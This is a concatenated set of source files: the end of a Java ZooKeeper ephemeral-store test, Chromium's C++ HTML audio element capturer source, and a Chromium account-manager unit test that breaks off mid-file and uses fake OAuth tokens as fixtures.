// Verify all children added through put are read back in get
Assert.assertEquals(childrenFromZK.size(), addedChildren.size());
Assert.assertEquals(addedChildren, childrenFromZK);
tearDown(store);
}
@Test(dataProvider = "dataD2ClusterWithNumberOfChildrenAndHashCode", retryAnalyzer = ThreeRetries.class)
public void testPutAndGetWithPrefixAndFilter(String d2ClusterName, List<String> childrenNames, int expectedPrefixDuplicates,
List<ZookeeperEphemeralPrefixGenerator> prefixGenerators)
throws IOException, InterruptedException, ExecutionException, PropertyStoreException
{
ZKConnection client = new ZKConnection("localhost:" + _port, 5000);
client.start();
List<ZooKeeperEphemeralStore<Set<String>>> stores = new ArrayList<>();
// Add the given list childrenNames to the store using children specific prefixGenerator
Set<String> addedChildren = new HashSet<>();
for (int i = 0; i < childrenNames.size(); i++)
{
String childName = childrenNames.get(i);
ZookeeperEphemeralPrefixGenerator prefixGenerator = prefixGenerators.get(i);
Set<String> currentChild = new HashSet<>();
currentChild.add(childName);
addedChildren.add(childName);
final ZooKeeperEphemeralStore<Set<String>> store = getStore(client, new ZookeeperPrefixChildFilter(prefixGenerator), prefixGenerator);
stores.add(store);
store.put(d2ClusterName, currentChild);
}
// Verify for each children the get operation returns expected number of children
for (int i = 0; i < childrenNames.size(); i++)
{
String childName = childrenNames.get(i);
ZookeeperEphemeralPrefixGenerator prefixGenerator = prefixGenerators.get(i);
Set<String> currentChild = new HashSet<>();
currentChild.add(childName);
final ZooKeeperEphemeralStore<Set<String>> store = getStore(client, new ZookeeperPrefixChildFilter(prefixGenerator), prefixGenerator);
stores.add(store);
// Read the data from store using get with the child specific prefixGenerator and filter
Set<String> childrenFromZK = store.get(d2ClusterName);
// Verify expectations
Assert.assertNotNull(childrenFromZK);
Assert.assertEquals(childrenFromZK.size(), expectedPrefixDuplicates);
if (expectedPrefixDuplicates == 1) // expectedPrefixDuplicates = 1 when unique prefixGenerator is used per child
{
Assert.assertEquals(currentChild, childrenFromZK);
}
}
if (expectedPrefixDuplicates > 1) // // expectedPrefixDuplicates = childrenNames.size() when shared prefixGenerator is used
{
final ZooKeeperEphemeralStore<Set<String>> store =
getStore(client, new ZookeeperPrefixChildFilter(prefixGenerators.get(0)), prefixGenerators.get(0));
stores.add(store);
// Read the data from store using get with the shared prefixGenerator
Set<String> childrenFromZK = store.get(d2ClusterName);
// verify expectations
Assert.assertEquals(childrenFromZK.size(), addedChildren.size());
Assert.assertEquals(addedChildren, childrenFromZK);
}
for (ZooKeeperEphemeralStore<Set<String>> store : stores)
{
tearDown(store);
}
}
@DataProvider
public Object[][] dataD2ClusterWithNumberOfChildren()
{
Object[][] data = new Object[25][2];
for (int i = 0; i < 25; i++)
{
data[i][0] = "D2Test1Cluster" + i;
data[i][1] = ThreadLocalRandom.current().nextInt(25) + 1;
}
return data;
}
@DataProvider
public Object[][] dataD2ClusterWithNumberOfChildrenAndHashCode()
{
Object[][] data = new Object[50][4];
// 25 test cases with shared prefix generator
for (int i = 0; i < 25; i++)
{
int numChildren = ThreadLocalRandom.current().nextInt(25) + 1;
List<String> children = new ArrayList<>();
List<ZookeeperEphemeralPrefixGenerator> prefixGenerators = new ArrayList<>();
AnnouncerHostPrefixGenerator generator = new AnnouncerHostPrefixGenerator("test-machine.subdomain1.subdomain2.com");
for (int j = 0; j < numChildren; j++)
{
children.add("Child" + i + j + 1);
prefixGenerators.add(generator);
}
data[i][0] = "D2Test2Cluster" + i;
data[i][1] = children;
data[i][2] = numChildren;
data[i][3] = prefixGenerators;
}
// 25 test cases with unique prefix generator
for (int i = 25; i < 50; i++)
{
int numChildren = ThreadLocalRandom.current().nextInt(25) + 1;
List<String> children = new ArrayList<>();
List<ZookeeperEphemeralPrefixGenerator> prefixGenerators = new ArrayList<>();
for (int j = 0; j < numChildren; j++)
{
String childName = "Child" + i + j + 1;
children.add(childName);
String fqdn = "test-machine" + i + j+ ".subdomain1.subdomain2.com";
prefixGenerators.add(new AnnouncerHostPrefixGenerator(fqdn));
}
data[i][0] = "D2Test2Cluster" + i;
data[i][1] = children;
data[i][2] = 1;
data[i][3] = prefixGenerators;
}
return data;
}
private void tearDown(ZooKeeperEphemeralStore<Set<String>> store)
{
final FutureCallback<None> callback = new FutureCallback<>();
store.shutdown(callback);
try
{
callback.get(5, TimeUnit.SECONDS);
}
catch (InterruptedException | ExecutionException | TimeoutException e)
{
fail("unable to shut down store");
}
}
@BeforeSuite
public void setup()
throws InterruptedException
{
try
{
_zkServer = new ZKServer();
_zkServer.startup();
_port = _zkServer.getPort();
_zkClient = new ZKConnection("localhost:" + _port, 5000);
_zkClient.start();
}
catch (IOException e)
{
Assert.fail("unable to instantiate real zk server on port " + _port);
}
}
@AfterSuite
public void tearDown()
throws IOException, InterruptedException
{
_zkClient.shutdown();
_zkServer.shutdown();
_executor.shutdown();
}
public ZooKeeperEphemeralStore<Set<String>> getStore(ZKConnection client, ZookeeperChildFilter filter,
ZookeeperEphemeralPrefixGenerator prefixGenerator)
throws InterruptedException, ExecutionException
{
ZooKeeperEphemeralStore<Set<String>> store =
new ZooKeeperEphemeralStore<>(client, new PropertySetStringSerializer(), new PropertySetStringMerger(), "/test-path", false, true, null, null,
0, filter, prefixGenerator);
FutureCallback<None> callback = new FutureCallback<>();
store.start(callback);
callback.get();
return store;
}
} | 3,540 |
575 | <reponame>sarang-apps/darshan_browser<filename>third_party/blink/renderer/modules/mediacapturefromelement/html_audio_element_capturer_source.cc
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/modules/mediacapturefromelement/html_audio_element_capturer_source.h"
#include <utility>
#include "media/base/audio_parameters.h"
#include "media/base/audio_renderer_sink.h"
#include "third_party/blink/public/platform/web_media_player.h"
#include "third_party/blink/public/platform/webaudiosourceprovider_impl.h"
#include "third_party/blink/renderer/platform/scheduler/public/thread.h"
#include "third_party/blink/renderer/platform/wtf/cross_thread_functional.h"
#include "third_party/blink/renderer/platform/wtf/functional.h"
namespace blink {
// static
HtmlAudioElementCapturerSource*
HtmlAudioElementCapturerSource::CreateFromWebMediaPlayerImpl(
blink::WebMediaPlayer* player,
scoped_refptr<base::SingleThreadTaskRunner> task_runner) {
DCHECK(player);
return new HtmlAudioElementCapturerSource(player->GetAudioSourceProvider(),
std::move(task_runner));
}
HtmlAudioElementCapturerSource::HtmlAudioElementCapturerSource(
scoped_refptr<blink::WebAudioSourceProviderImpl> audio_source,
scoped_refptr<base::SingleThreadTaskRunner> task_runner)
: blink::MediaStreamAudioSource(std::move(task_runner),
true /* is_local_source */),
audio_source_(std::move(audio_source)),
is_started_(false),
last_sample_rate_(0),
last_num_channels_(0),
last_bus_frames_(0) {
DCHECK(audio_source_);
}
HtmlAudioElementCapturerSource::~HtmlAudioElementCapturerSource() {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
EnsureSourceIsStopped();
}
bool HtmlAudioElementCapturerSource::EnsureSourceIsStarted() {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
if (audio_source_ && !is_started_) {
// TODO(crbug.com/964463): Use per-frame task runner.
Thread::Current()->GetTaskRunner()->PostTask(
FROM_HERE, WTF::Bind(&HtmlAudioElementCapturerSource::SetAudioCallback,
weak_factory_.GetWeakPtr()));
is_started_ = true;
}
return is_started_;
}
void HtmlAudioElementCapturerSource::SetAudioCallback() {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
if (audio_source_ && is_started_) {
// WTF::Unretained() is safe here since EnsureSourceIsStopped() guarantees
// no more calls to OnAudioBus().
audio_source_->SetCopyAudioCallback(ConvertToBaseRepeatingCallback(
CrossThreadBindRepeating(&HtmlAudioElementCapturerSource::OnAudioBus,
CrossThreadUnretained(this))));
}
}
void HtmlAudioElementCapturerSource::EnsureSourceIsStopped() {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
if (!is_started_)
return;
if (audio_source_) {
audio_source_->ClearCopyAudioCallback();
audio_source_ = nullptr;
}
is_started_ = false;
}
void HtmlAudioElementCapturerSource::OnAudioBus(
std::unique_ptr<media::AudioBus> audio_bus,
uint32_t frames_delayed,
int sample_rate) {
const base::TimeTicks capture_time =
base::TimeTicks::Now() -
base::TimeDelta::FromMicroseconds(base::Time::kMicrosecondsPerSecond *
frames_delayed / sample_rate);
if (sample_rate != last_sample_rate_ ||
audio_bus->channels() != last_num_channels_ ||
audio_bus->frames() != last_bus_frames_) {
blink::MediaStreamAudioSource::SetFormat(
media::AudioParameters(media::AudioParameters::AUDIO_PCM_LOW_LATENCY,
media::GuessChannelLayout(audio_bus->channels()),
sample_rate, audio_bus->frames()));
last_sample_rate_ = sample_rate;
last_num_channels_ = audio_bus->channels();
last_bus_frames_ = audio_bus->frames();
}
blink::MediaStreamAudioSource::DeliverDataToTracks(*audio_bus, capture_time);
}
} // namespace blink
| 1,633 |
14,668 | <reponame>zealoussnow/chromium<filename>components/account_manager_core/chromeos/account_manager_unittest.cc
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/account_manager_core/chromeos/account_manager.h"
#include <set>
#include <string>
#include <utility>
#include <vector>
#include "base/bind.h"
#include "base/callback_helpers.h"
#include "base/files/file_path.h"
#include "base/files/scoped_temp_dir.h"
#include "base/memory/scoped_refptr.h"
#include "base/run_loop.h"
#include "base/test/bind.h"
#include "base/test/task_environment.h"
#include "base/threading/sequenced_task_runner_handle.h"
#include "components/prefs/testing_pref_service.h"
#include "google_apis/gaia/gaia_urls.h"
#include "google_apis/gaia/google_service_auth_error.h"
#include "google_apis/gaia/oauth2_access_token_consumer.h"
#include "google_apis/gaia/oauth2_access_token_fetcher.h"
#include "services/network/public/cpp/weak_wrapper_shared_url_loader_factory.h"
#include "services/network/test/test_url_loader_factory.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
namespace account_manager {
namespace {
using ::testing::_;
using ::testing::Eq;
using ::testing::Field;
using ::testing::Property;
constexpr char kGaiaToken[] = "gaia_token";
constexpr char kNewGaiaToken[] = "new_gaia_token";
constexpr char kRawUserEmail[] = "<EMAIL>";
constexpr char kFakeClientId[] = "fake-client-id";
constexpr char kFakeClientSecret[] = "fake-client-secret";
constexpr char kFakeAccessToken[] = "fake-access-token";
// Same access token value as above in `kFakeAccessToken`.
constexpr char kAccessTokenResponse[] = R"(
{
"access_token": "fake-access-token",
"expires_in": 3600,
"token_type": "Bearer",
"id_token": "id_token"
})";
const ::account_manager::AccountKey kGaiaAccountKey = {
"gaia_id", ::account_manager::AccountType::kGaia};
const ::account_manager::AccountKey kActiveDirectoryAccountKey = {
"object_guid", ::account_manager::AccountType::kActiveDirectory};
bool IsAccountKeyPresent(
const std::vector<::account_manager::Account>& accounts,
const ::account_manager::AccountKey& account_key) {
for (const auto& account : accounts) {
if (account.key == account_key) {
return true;
}
}
return false;
}
} // namespace
class AccountManagerSpy : public AccountManager {
public:
AccountManagerSpy() = default;
AccountManagerSpy(const AccountManagerSpy&) = delete;
AccountManagerSpy& operator=(const AccountManagerSpy&) = delete;
~AccountManagerSpy() override = default;
MOCK_METHOD(void, RevokeGaiaTokenOnServer, (const std::string&));
};
class AccountManagerTest : public testing::Test {
public:
AccountManagerTest() = default;
AccountManagerTest(const AccountManagerTest&) = delete;
AccountManagerTest& operator=(const AccountManagerTest&) = delete;
~AccountManagerTest() override = default;
protected:
void SetUp() override {
ASSERT_TRUE(tmp_dir_.CreateUniqueTempDir());
AccountManager::RegisterPrefs(pref_service_.registry());
ResetAndInitializeAccountManager();
}
// Gets the list of accounts stored in |account_manager_|.
std::vector<::account_manager::Account> GetAccountsBlocking() {
return GetAccountsBlocking(account_manager_.get());
}
// Gets the list of accounts stored in |account_manager|.
std::vector<::account_manager::Account> GetAccountsBlocking(
AccountManager* const account_manager) {
std::vector<::account_manager::Account> accounts;
base::RunLoop run_loop;
account_manager->GetAccounts(base::BindLambdaForTesting(
[&accounts, &run_loop](
const std::vector<::account_manager::Account>& stored_accounts) {
accounts = stored_accounts;
run_loop.Quit();
}));
run_loop.Run();
return accounts;
}
// Gets the raw email for |account_key|.
std::string GetAccountEmailBlocking(
const ::account_manager::AccountKey& account_key) {
std::string raw_email;
base::RunLoop run_loop;
account_manager_->GetAccountEmail(
account_key,
base::BindLambdaForTesting(
[&raw_email, &run_loop](const std::string& stored_raw_email) {
raw_email = stored_raw_email;
run_loop.Quit();
}));
run_loop.Run();
return raw_email;
}
bool HasDummyGaiaTokenBlocking(
const ::account_manager::AccountKey& account_key) {
bool has_dummy_token_result = false;
base::RunLoop run_loop;
account_manager_->HasDummyGaiaToken(
account_key,
base::BindLambdaForTesting(
[&has_dummy_token_result, &run_loop](bool has_dummy_token) {
has_dummy_token_result = has_dummy_token;
run_loop.Quit();
}));
run_loop.Run();
return has_dummy_token_result;
}
// Helper method to reset and initialize |account_manager_| with default
// parameters.
void ResetAndInitializeAccountManager() {
account_manager_ = std::make_unique<AccountManagerSpy>();
InitializeAccountManager(account_manager_.get());
}
// |account_manager| is a non-owning pointer.
void InitializeAccountManager(AccountManager* account_manager) {
InitializeAccountManager(account_manager, tmp_dir_.GetPath());
}
// |account_manager| is a non-owning pointer.
// |home_dir| is the cryptohome root.
void InitializeAccountManager(AccountManager* account_manager,
const base::FilePath& home_dir) {
InitializeAccountManager(account_manager, home_dir,
/* initialization_callback= */ base::DoNothing());
RunAllPendingTasks();
EXPECT_EQ(account_manager->init_state_,
AccountManager::InitializationState::kInitialized);
EXPECT_TRUE(account_manager->IsInitialized());
}
// |account_manager| is a non-owning pointer.
// |initialization_callback| will be called after initialization is complete
// (when |RunAllPendingTasks();| is called).
void InitializeAccountManagerAsync(
AccountManager* account_manager,
base::OnceClosure initialization_callback) {
InitializeAccountManager(account_manager,
/* home_dir= */ tmp_dir_.GetPath(),
std::move(initialization_callback));
}
// |account_manager| is a non-owning pointer.
void InitializeEphemeralAccountManager(AccountManager* account_manager) {
account_manager->InitializeInEphemeralMode(
test_url_loader_factory_.GetSafeWeakWrapper());
account_manager->SetPrefService(&pref_service_);
RunAllPendingTasks();
EXPECT_TRUE(account_manager->IsInitialized());
}
void AddFakeAccessTokenResponse() {
GURL url(GaiaUrls::GetInstance()->oauth2_token_url());
test_url_loader_factory_.AddResponse(url.spec(), kAccessTokenResponse,
net::HTTP_OK);
}
void RunAllPendingTasks() { task_environment_.RunUntilIdle(); }
// Returns an unowned pointer to |AccountManager|.
AccountManager* account_manager() const { return account_manager_.get(); }
// Returns an unowned pointer to |AccountManagerSpy|. Useful only for checking
// expectations on the mock.
AccountManagerSpy* account_manager_spy() const {
return account_manager_.get();
}
scoped_refptr<network::SharedURLLoaderFactory> test_url_loader_factory() {
return test_url_loader_factory_.GetSafeWeakWrapper();
}
private:
void InitializeAccountManager(AccountManager* account_manager,
const base::FilePath& home_dir,
base::OnceClosure initialization_callback) {
account_manager->Initialize(
home_dir, test_url_loader_factory_.GetSafeWeakWrapper(),
/* delay_network_call_runner= */
base::BindRepeating([](base::OnceClosure closure) -> void {
std::move(closure).Run();
}),
base::SequencedTaskRunnerHandle::Get(),
std::move(initialization_callback));
account_manager->SetPrefService(&pref_service_);
}
// Check base/test/task_environment.h. This must be the first member /
// declared before any member that cares about tasks.
base::test::SingleThreadTaskEnvironment task_environment_{
base::test::TaskEnvironment::ThreadPoolExecutionMode::QUEUED};
base::ScopedTempDir tmp_dir_;
TestingPrefServiceSimple pref_service_;
network::TestURLLoaderFactory test_url_loader_factory_;
std::unique_ptr<AccountManagerSpy> account_manager_;
};
class AccountManagerObserver : public AccountManager::Observer {
public:
AccountManagerObserver() = default;
AccountManagerObserver(const AccountManagerObserver&) = delete;
AccountManagerObserver& operator=(const AccountManagerObserver&) = delete;
~AccountManagerObserver() override = default;
void OnTokenUpserted(const ::account_manager::Account& account) override {
is_token_upserted_callback_called_ = true;
accounts_.insert(account.key);
last_upserted_account_key_ = account.key;
last_upserted_account_email_ = account.raw_email;
}
void OnAccountRemoved(const ::account_manager::Account& account) override {
is_account_removed_callback_called_ = true;
accounts_.erase(account.key);
last_removed_account_key_ = account.key;
last_removed_account_email_ = account.raw_email;
}
void Reset() {
is_token_upserted_callback_called_ = false;
is_account_removed_callback_called_ = false;
last_upserted_account_key_ = absl::nullopt;
last_upserted_account_email_.clear();
last_removed_account_key_ = absl::nullopt;
last_removed_account_email_.clear();
accounts_.clear();
}
bool is_token_upserted_callback_called() const {
return is_token_upserted_callback_called_;
}
bool is_account_removed_callback_called() const {
return is_account_removed_callback_called_;
}
const ::account_manager::AccountKey& last_upserted_account_key() const {
return last_upserted_account_key_.value();
}
const std::string& last_upserted_account_email() const {
return last_upserted_account_email_;
}
const ::account_manager::AccountKey& last_removed_account_key() const {
return last_removed_account_key_.value();
}
const std::string& last_removed_account_email() const {
return last_removed_account_email_;
}
const std::set<::account_manager::AccountKey>& accounts() const {
return accounts_;
}
private:
bool is_token_upserted_callback_called_ = false;
bool is_account_removed_callback_called_ = false;
absl::optional<::account_manager::AccountKey> last_upserted_account_key_;
std::string last_upserted_account_email_;
absl::optional<::account_manager::AccountKey> last_removed_account_key_;
std::string last_removed_account_email_;
std::set<::account_manager::AccountKey> accounts_;
};
class MockAccessTokenConsumer : public OAuth2AccessTokenConsumer {
public:
MockAccessTokenConsumer() = default;
MockAccessTokenConsumer(const MockAccessTokenConsumer&) = delete;
MockAccessTokenConsumer& operator=(const MockAccessTokenConsumer&) = delete;
~MockAccessTokenConsumer() override = default;
// OAuth2AccessTokenConsumer overrides.
MOCK_METHOD(void,
OnGetTokenSuccess,
(const TokenResponse& token_response),
(override));
MOCK_METHOD(void,
OnGetTokenFailure,
(const GoogleServiceAuthError& error),
(override));
std::string GetConsumerName() const override {
return "account_manager_unittest";
}
};
TEST_F(AccountManagerTest, TestInitializationCompletes) {
AccountManager account_manager;
EXPECT_EQ(account_manager.init_state_,
AccountManager::InitializationState::kNotStarted);
// Test assertions will be made inside the method.
InitializeAccountManager(&account_manager);
}
TEST_F(AccountManagerTest, TestInitializationCallbackIsCalled) {
bool init_callback_was_called = false;
base::OnceClosure closure = base::BindLambdaForTesting(
[&init_callback_was_called]() { init_callback_was_called = true; });
AccountManager account_manager;
InitializeAccountManagerAsync(&account_manager, std::move(closure));
RunAllPendingTasks();
ASSERT_TRUE(init_callback_was_called);
}
// Tests that |AccountManager::Initialize|'s callback parameter is called, if
// |AccountManager::Initialize| is called twice.
TEST_F(AccountManagerTest,
TestInitializationCallbackIsCalledIfAccountManagerIsAlreadyInitialized) {
AccountManager account_manager;
InitializeAccountManagerAsync(
&account_manager, /* initialization_callback= */ base::DoNothing());
EXPECT_FALSE(account_manager.IsInitialized());
// Send a duplicate initialization call.
bool init_callback_was_called = false;
base::OnceClosure closure = base::BindLambdaForTesting(
[&init_callback_was_called]() { init_callback_was_called = true; });
InitializeAccountManagerAsync(&account_manager, std::move(closure));
// Let initialization continue.
EXPECT_FALSE(account_manager.IsInitialized());
EXPECT_FALSE(init_callback_was_called);
RunAllPendingTasks();
EXPECT_TRUE(account_manager.IsInitialized());
EXPECT_TRUE(init_callback_was_called);
}
TEST_F(AccountManagerTest, TestUpsert) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
std::vector<::account_manager::Account> accounts = GetAccountsBlocking();
EXPECT_EQ(1UL, accounts.size());
EXPECT_EQ(kGaiaAccountKey, accounts[0].key);
EXPECT_EQ(kRawUserEmail, accounts[0].raw_email);
}
// Test that |AccountManager| saves its tokens to disk.
TEST_F(AccountManagerTest, TestTokenPersistence) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
ResetAndInitializeAccountManager();
std::vector<::account_manager::Account> accounts = GetAccountsBlocking();
EXPECT_EQ(1UL, accounts.size());
EXPECT_EQ(kGaiaAccountKey, accounts[0].key);
EXPECT_EQ(kRawUserEmail, accounts[0].raw_email);
EXPECT_EQ(kGaiaToken, account_manager()->accounts_[kGaiaAccountKey].token);
}
// Test that |AccountManager| does not save its tokens to disk if an empty
// cryptohome root path is provided during initialization.
TEST_F(AccountManagerTest, TestTokenTransience) {
const base::FilePath home_dir;
{
// Create a scoped |AccountManager|.
AccountManager account_manager;
InitializeAccountManager(&account_manager, home_dir);
account_manager.UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
}
// Create another |AccountManager| at the same path.
AccountManager account_manager;
InitializeAccountManager(&account_manager, home_dir);
std::vector<::account_manager::Account> accounts =
GetAccountsBlocking(&account_manager);
EXPECT_EQ(0UL, accounts.size());
}
TEST_F(AccountManagerTest, TestEphemeralMode) {
{
// Create a scoped |AccountManager|.
AccountManager account_manager;
InitializeEphemeralAccountManager(&account_manager);
account_manager.UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
}
// Create another |AccountManager|.
AccountManager account_manager;
InitializeEphemeralAccountManager(&account_manager);
std::vector<::account_manager::Account> accounts =
GetAccountsBlocking(&account_manager);
EXPECT_EQ(0UL, accounts.size());
}
TEST_F(AccountManagerTest, TestEphemeralModeInitializationCallback) {
base::RunLoop run_loop;
AccountManager account_manager;
account_manager.InitializeInEphemeralMode(test_url_loader_factory(),
run_loop.QuitClosure());
run_loop.Run();
}
TEST_F(AccountManagerTest, TestAccountEmailPersistence) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
ResetAndInitializeAccountManager();
const std::string raw_email = GetAccountEmailBlocking(kGaiaAccountKey);
EXPECT_EQ(kRawUserEmail, raw_email);
}
TEST_F(AccountManagerTest, UpdatingAccountEmailShouldNotOverwriteTokens) {
const std::string new_email = "<EMAIL>";
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
account_manager()->UpdateEmail(kGaiaAccountKey, new_email);
RunAllPendingTasks();
ResetAndInitializeAccountManager();
const std::string raw_email = GetAccountEmailBlocking(kGaiaAccountKey);
EXPECT_EQ(new_email, raw_email);
EXPECT_EQ(kGaiaToken, account_manager()->accounts_[kGaiaAccountKey].token);
}
TEST_F(AccountManagerTest, UpsertAccountCanUpdateEmail) {
const std::string new_email = "<EMAIL>";
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
account_manager()->UpsertAccount(kGaiaAccountKey, new_email, kGaiaToken);
RunAllPendingTasks();
ResetAndInitializeAccountManager();
const std::string raw_email = GetAccountEmailBlocking(kGaiaAccountKey);
EXPECT_EQ(new_email, raw_email);
}
TEST_F(AccountManagerTest, UpdatingTokensShouldNotOverwriteAccountEmail) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
account_manager()->UpdateToken(kGaiaAccountKey, kNewGaiaToken);
RunAllPendingTasks();
ResetAndInitializeAccountManager();
const std::string raw_email = GetAccountEmailBlocking(kGaiaAccountKey);
EXPECT_EQ(kRawUserEmail, raw_email);
EXPECT_EQ(kNewGaiaToken, account_manager()->accounts_[kGaiaAccountKey].token);
}
TEST_F(AccountManagerTest, ObserversAreNotifiedOnTokenInsertion) {
auto observer = std::make_unique<AccountManagerObserver>();
EXPECT_FALSE(observer->is_token_upserted_callback_called());
account_manager()->AddObserver(observer.get());
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
EXPECT_TRUE(observer->is_token_upserted_callback_called());
EXPECT_EQ(1UL, observer->accounts().size());
EXPECT_EQ(kGaiaAccountKey, *observer->accounts().begin());
EXPECT_EQ(kGaiaAccountKey, observer->last_upserted_account_key());
EXPECT_EQ(kRawUserEmail, observer->last_upserted_account_email());
account_manager()->RemoveObserver(observer.get());
}
TEST_F(AccountManagerTest, ObserversAreNotifiedOnTokenUpdate) {
auto observer = std::make_unique<AccountManagerObserver>();
EXPECT_FALSE(observer->is_token_upserted_callback_called());
account_manager()->AddObserver(observer.get());
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
// Observers should be called when token is updated.
observer->Reset();
account_manager()->UpdateToken(kGaiaAccountKey, kNewGaiaToken);
RunAllPendingTasks();
EXPECT_TRUE(observer->is_token_upserted_callback_called());
EXPECT_EQ(1UL, observer->accounts().size());
EXPECT_EQ(kGaiaAccountKey, *observer->accounts().begin());
EXPECT_EQ(kGaiaAccountKey, observer->last_upserted_account_key());
EXPECT_EQ(kRawUserEmail, observer->last_upserted_account_email());
account_manager()->RemoveObserver(observer.get());
}
TEST_F(AccountManagerTest, ObserversAreNotNotifiedIfTokenIsNotUpdated) {
auto observer = std::make_unique<AccountManagerObserver>();
EXPECT_FALSE(observer->is_token_upserted_callback_called());
account_manager()->AddObserver(observer.get());
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
// Observers should not be called when token is not updated.
observer->Reset();
account_manager()->UpdateToken(kGaiaAccountKey, kGaiaToken);
RunAllPendingTasks();
EXPECT_FALSE(observer->is_token_upserted_callback_called());
account_manager()->RemoveObserver(observer.get());
}
TEST_F(AccountManagerTest, RemovedAccountsAreImmediatelyUnavailable) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
account_manager()->RemoveAccount(kGaiaAccountKey);
EXPECT_TRUE(GetAccountsBlocking().empty());
}
TEST_F(AccountManagerTest, AccountsCanBeRemovedByRawEmail) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
account_manager()->RemoveAccount(kRawUserEmail);
EXPECT_TRUE(GetAccountsBlocking().empty());
}
TEST_F(AccountManagerTest, AccountsCanBeRemovedByCanonicalEmail) {
const std::string raw_email = "<EMAIL>";
const std::string canonical_email = "<EMAIL>";
account_manager()->UpsertAccount(kGaiaAccountKey, raw_email, kGaiaToken);
account_manager()->RemoveAccount(canonical_email);
EXPECT_TRUE(GetAccountsBlocking().empty());
}
TEST_F(AccountManagerTest, AccountRemovalIsPersistedToDisk) {
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
account_manager()->RemoveAccount(kGaiaAccountKey);
RunAllPendingTasks();
ResetAndInitializeAccountManager();
EXPECT_TRUE(GetAccountsBlocking().empty());
}
TEST_F(AccountManagerTest, ObserversAreNotifiedOnAccountRemoval) {
auto observer = std::make_unique<AccountManagerObserver>();
account_manager()->AddObserver(observer.get());
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
EXPECT_FALSE(observer->is_account_removed_callback_called());
account_manager()->RemoveAccount(kGaiaAccountKey);
EXPECT_TRUE(observer->is_account_removed_callback_called());
EXPECT_TRUE(observer->accounts().empty());
EXPECT_EQ(kGaiaAccountKey, observer->last_removed_account_key());
EXPECT_EQ(kRawUserEmail, observer->last_removed_account_email());
account_manager()->RemoveObserver(observer.get());
}
TEST_F(AccountManagerTest, TokenRevocationIsAttemptedForGaiaAccountRemovals) {
ResetAndInitializeAccountManager();
EXPECT_CALL(*account_manager_spy(), RevokeGaiaTokenOnServer(kGaiaToken));
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
account_manager()->RemoveAccount(kGaiaAccountKey);
}
TEST_F(AccountManagerTest,
TokenRevocationIsNotAttemptedForNonGaiaAccountRemovals) {
ResetAndInitializeAccountManager();
EXPECT_CALL(*account_manager_spy(), RevokeGaiaTokenOnServer(_)).Times(0);
account_manager()->UpsertAccount(kActiveDirectoryAccountKey, kRawUserEmail,
AccountManager::kActiveDirectoryDummyToken);
RunAllPendingTasks();
account_manager()->RemoveAccount(kActiveDirectoryAccountKey);
}
TEST_F(AccountManagerTest,
TokenRevocationIsNotAttemptedForInvalidTokenRemovals) {
ResetAndInitializeAccountManager();
EXPECT_CALL(*account_manager_spy(), RevokeGaiaTokenOnServer(_)).Times(0);
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail,
AccountManager::kInvalidToken);
RunAllPendingTasks();
account_manager()->RemoveAccount(kGaiaAccountKey);
}
TEST_F(AccountManagerTest, OldTokenIsNotRevokedOnTokenUpdateByDefault) {
ResetAndInitializeAccountManager();
// Token should not be revoked.
EXPECT_CALL(*account_manager_spy(), RevokeGaiaTokenOnServer(kGaiaToken))
.Times(0);
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
// Update the token.
account_manager()->UpdateToken(kGaiaAccountKey, kNewGaiaToken);
RunAllPendingTasks();
}
TEST_F(AccountManagerTest, IsTokenAvailableReturnsTrueForValidGaiaAccounts) {
EXPECT_FALSE(account_manager()->IsTokenAvailable(kGaiaAccountKey));
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
EXPECT_TRUE(account_manager()->IsTokenAvailable(kGaiaAccountKey));
}
TEST_F(AccountManagerTest,
IsTokenAvailableReturnsFalseForActiveDirectoryAccounts) {
EXPECT_FALSE(account_manager()->IsTokenAvailable(kActiveDirectoryAccountKey));
account_manager()->UpsertAccount(kActiveDirectoryAccountKey, kRawUserEmail,
AccountManager::kActiveDirectoryDummyToken);
RunAllPendingTasks();
EXPECT_FALSE(account_manager()->IsTokenAvailable(kActiveDirectoryAccountKey));
EXPECT_TRUE(
IsAccountKeyPresent(GetAccountsBlocking(), kActiveDirectoryAccountKey));
}
TEST_F(AccountManagerTest, IsTokenAvailableReturnsTrueForInvalidTokens) {
EXPECT_FALSE(account_manager()->IsTokenAvailable(kGaiaAccountKey));
